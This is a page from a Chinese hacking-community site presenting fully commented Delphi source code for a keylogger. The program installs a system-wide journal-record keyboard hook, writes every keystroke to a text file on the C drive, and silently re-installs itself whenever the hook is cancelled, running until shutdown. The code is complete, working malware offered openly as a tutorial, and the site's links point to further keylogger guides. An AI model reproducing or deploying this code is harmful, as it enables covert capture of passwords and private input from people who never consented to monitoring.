| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> 编程 >> Delphi >> 正文 用户登录 新用户注册
键盘钩子程序源代码的详解         ★★★ 【字体:
键盘钩子程序源代码的详解
作者:未知 文章来源:华盟收集 点击数: 更新时间:2007-8-12
program KeyLog2;

uses
  Windows,
  Messages;

var JournalRecordHook: HHOOK;

 // 记录钩子回调函数
function JournalRecordProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  Kbs: TKeyboardState; // 键盘状态类型
  HFile: THandle;     // 句柄类型
  WChar: array[0..1] of Char;
  WSize: DWORD;
{API函数
1          ToAscii
1           GetKeyboardState}
begin
 // lParam指向消息结构, 并且, 是键盘按下消息
  if (nCode = HC_ACTION)and (PEventMsg(lParam).message = WM_KEYDOWN) then
  //(PEventMsg(lParam).message = WM_KEYDOWN)转换为一种消息类型 WM_KEYDOWN
  //(nCode = HC_ACTION)键盘状态是HC_ACTION 激活
  begin
   // 取键盘状态
   //GetKeyboardState() 取键盘状态并且存入到括号里
    GetKeyboardState(Kbs);
    //GetKeyboardState存入(KBS)里 取键盘状态

   // 转换成字符,组合
    if ToAscii(PEventMsg(lParam).paramL, PEventMsg(lparam).paramH, Kbs, WChar, 0) = 1 then
    //(PEventMsg(lParam).paramL, PEventMsg(lparam).paramH,固定参数
    //WChar 固定参数
    begin
     // 打开文件
      HFile := CreateFile('C:\heibao.txt', GENERIC_WRITE,
        FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

     // 添加字符
      SetFilePointer(HFile, 0, nil, FILE_END);
      WriteFile(HFile, WChar[0] , 1, WSize, nil);

     // 回车补#10
      if (WChar[0] = #13) then
      begin
        WChar[0] := #10;
        WriteFile(HFile, WChar[0] , 1, WSize, nil);
      end;

     // 关闭保存
      CloseHandle(HFile);
    end;
  end;


 // 传给下一个钩子处理, 并且返回它的返回值
  Result := CallNextHookEx(JournalRecordHook, nCode, wParam, lParam);
   //Result := CallNextHookEx(hook,后三个固定参数nCode, wParam, lParam);
end;

 // ~~~~~ 程序入口 ~~~~~
var
  Msg: TMsg;// 消息类型,固定
begin
 // 安装钩子
  JournalRecordHook := SetWindowsHookEx(WH_JOURNALRECORD, @JournalRecordProc, HInstance, 0);

 // 消息循环
  while GetMessage(Msg, 0, 0, 0) do
  // GetMessage(Msg, 0, 0, 0) 后面的三个零固定参数
    if (Msg.message = WM_CANCELJOURNAL) then // 此时需要重新挂钩
     //if (Msg.message = WM_CANCELJOURNAL) then 判断钩子是否退出
    begin
      JournalRecordHook :=
        SetWindowsHookEx(WH_JOURNALRECORD, @JournalRecordProc, HInstance, 0);
    end;

 // 卸载钩子
  UnHookWindowsHookEx(JournalRecordHook);

 (* 注: 由于这个程序并不像其他普通的Windows程序那样, 建立窗口并且在窗口关闭时调用PostQuitMessage(),
    使得GetMessage()随后取到WM_QUIT返回FALSE, 而跳出消息循环, 所以这个程序会一直运行下去直到关机 *)
end.

责任编辑:华夏编辑6  联系方式  Email:华夏编辑6
电话:51228163
  • 上一篇编程:

  • 下一篇编程:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关编程
    手把手做键盘记录器
    WINDOWS钩子函数-黑客编程
    学习如何编制WINDOWS系统下的钩子
    支持中文的键盘记录源代码
    钩子注入程序
    用拷贝钩子实现对文件夹的监控
    WINDOWS钩子函数
    用VB编写键盘拦截程序
    一个简单的键盘钩子程序
    WINDOWS的钩子函数知识与汇编实例
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号